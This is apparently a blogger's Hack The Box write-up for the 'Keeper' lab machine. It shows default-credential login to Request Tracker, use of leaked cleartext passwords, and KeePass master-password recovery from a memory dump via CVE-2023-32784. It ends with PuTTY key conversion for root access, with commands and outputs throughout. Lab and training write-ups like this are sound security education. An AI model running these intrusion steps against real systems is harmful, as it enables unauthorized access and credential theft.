nekr0ff

PT1 certified | OSCP in progress

nekr0ff

Keeper – HTB writeup

Summary

Keeper is an easy-difficulty Linux machine centered around weak credential hygiene in an internal ticketing platform and forensic memory analysis of password vault software. The attack begins by identifying a web application hosted on a subdomain, leading to an administrative login portal that accepts default credentials. Exploring internal tickets and administrative user records reveals leaked user credentials and references to a stored crash dump. After establishing an initial SSH session, local enumeration uncovers a password manager database alongside a process memory dump. Exploiting a known memory allocation flaw in the password manager allows partial recovery of the master passphrase, unlocking the vault to extract an administrative SSH key in a proprietary format. Converting this key provides direct root access to the system.

Reconnaissance

Port Scanning

We initiate network discovery using rustscan coupled with nmap script and version scanning:

rustscan -a 10.129.48.197 -- -sCV -oN target

Flags Breakdown:

  • -a 10.129.48.197: Specifies the target IP address for fast port probing.
  • --: Passes following arguments directly to the underlying nmap engine.
  • -sC: Executes default NSE enumeration scripts.
  • -sV: Probes open ports to determine service and version details.
  • -oN target: Saves the scan output in standard format to the target file.

Scan Results:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|   256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBe5w35/5klFq1zo5vISwwbYSVy1Zzy+K9ZCt0px+goO
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

Inspecting the HTTP service on port 80 via curl:

curl -iL 10.129.48.197

HTTP Response:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Aug 2026 10:40:05 GMT
Content-Type: text/html
Content-Length: 149
Last-Modified: Wed, 24 May 2023 14:04:44 GMT
Connection: keep-alive
ETag: "646e197c-95"
Accept-Ranges: bytes

<html>
  <body>
    <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
  </body>
</html>

The response reveals a virtual host mapping to tickets.keeper.htb hosting an instance of Request Tracker (RT) at /rt/.

We map both domains to the target IP address in /etc/hosts:

echo "10.129.48.197 keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts

Initial access

Navigating to http://tickets.keeper.htb/rt/ displays the Best Practical Request Tracker login portal (version RT 4.4.4+dfsg-2ubuntu1).

Default Credential Abuse

We attempt standard default credentials for Request Tracker:

  • Username: root
  • Password: password

Authentication succeeds, granting administrative access to the RT dashboard.

Information Gathering in Request Tracker

  1. Ticket Review: Examining open and resolved tickets, ticket #30000 discusses an issue reported by user Lise Nørgaard (lnorgaard). The ticket notes mention that a KeePass crash dump was generated. Lise states she moved the dump to her home directory and removed the attachment from the ticket for security purposes.
  2. User Administration: Navigating to Admin \rightarrow Users \rightarrow lnorgaard, we inspect the account profile. In the Comments text area, the administrator stored the user’s initial password in cleartext:
    • Comment: Welcome2023!
Username: lnorgaard
Password: Welcome2023!

SSH Foothold

Using the recovered credentials, we authenticate over SSH:

ssh lnorgaard@tickets.keeper.htb

We gain access as lnorgaard and retrieve the user flag:

lnorgaard@keeper:~$ cat /home/lnorgaard/user.txt

Privilege escalation

Internal Enumeration

In /home/lnorgaard/, we discover a zip archive referenced in the earlier support ticket:

lnorgaard@keeper:~$ ls -la
-rw-r--r-- 1 lnorgaard lnorgaard 28740348 May 24 14:05 RT30000.zip
-rw-r----- 1 root      lnorgaard       33 Aug 22 10:35 user.txt

Unzipping RT30000.zip yields two files:

  • KeePassDumpFull.dmp — Full process memory dump of KeePass.
  • passcodes.kdbx — Encrypted KeePass database container.

Checking the installed version of KeePass:

lnorgaard@keeper:~$ apt show keepass2 | grep Version
Version: 2.47+dfsg-2

KeePass version 2.47 is vulnerable to CVE-2023-32784, an in-memory master password extraction flaw.

Memory Dump Forensics (CVE-2023-32784)

We transfer RT30000.zip to our local machine via scp:

scp lnorgaard@10.129.48.197:/home/lnorgaard/RT30000.zip .
unzip RT30000.zip

Using the compiled .NET tool keepass-password-dumper against KeePassDumpFull.dmp:

dotnet run KeePassDumpFull.dmp

Output:

Candidate: ●dgrød med fløde

The tool recovers all characters from index 2 onwards. Searching the Danish phrase dgrød med fløde reveals the classic Danish dessert rødgrød med fløde, confirming the missing first letter is r.

  • Master Password: rødgrød med fløde

KeePass Database Decryption & Key Extraction

Using kpcli to inspect passcodes.kdbx with the recovered master password:

kpcli --kdb passcodes.kdbx
  • Password: rødgrød med fløde
kpcli:/> ls
=== Groups ===
passcodes/
kpcli:/> cd passcodes/
kpcli:/passcodes> ls
=== Entries ===
0. Keeper Backup
1. Network
2. Root Access
kpcli:/passcodes> show -f 2

Under the Root Access entry, the notes field contains a PuTTY Private Key (root.ppk):

PuTTY-User-Key-File-2: ssh-rsa
Encryption: none
Comment: imported-key
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQC4+k7T...
Private-Lines: 14
...

PuTTY Key Conversion & Root Shell

We save the key content to root.ppk on our attack machine and convert it to OpenSSH format using puttygen:

# Convert PuTTY format to OpenSSH PEM format
puttygen root.ppk -O private-openssh -o root.pem

# Apply strict private key permissions
chmod 600 root.pem

# Authenticate as root via SSH
ssh -i root.pem root@tickets.keeper.htb

We obtain an interactive root shell and retrieve the root flag:

root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)
root@keeper:~# cat /root/root.txt

Conclusion

Keeper highlights critical security risks stemming from default administrative configurations, poor password management policies, and unpatched client-side software vulnerable to memory forensics.

Key Takeaways

  1. Default Application Credentials: Leaving enterprise web applications (Request Tracker) configured with default credentials (root:password) provides trivial footholds into internal environments.
  2. Cleartext Credential Storage in Metadata: Storing user credentials in administrative comment fields circumvents security controls and directly facilitates unauthorized lateral movement.
  3. Memory Dump Risks: Full process memory crash dumps often contain sensitive cryptographic secrets and passwords in plaintext. KeePass versions prior to 2.54 (CVE-2023-32784) leak managed string fragments during password input that persist in memory dumps.
  4. Proprietary Key Management: Stored private keys (such as PuTTY .ppk files) must be protected with passphrases and audited to prevent unauthorized root privilege elevation.
Index
root@nekr0ff:~$ cd $HOME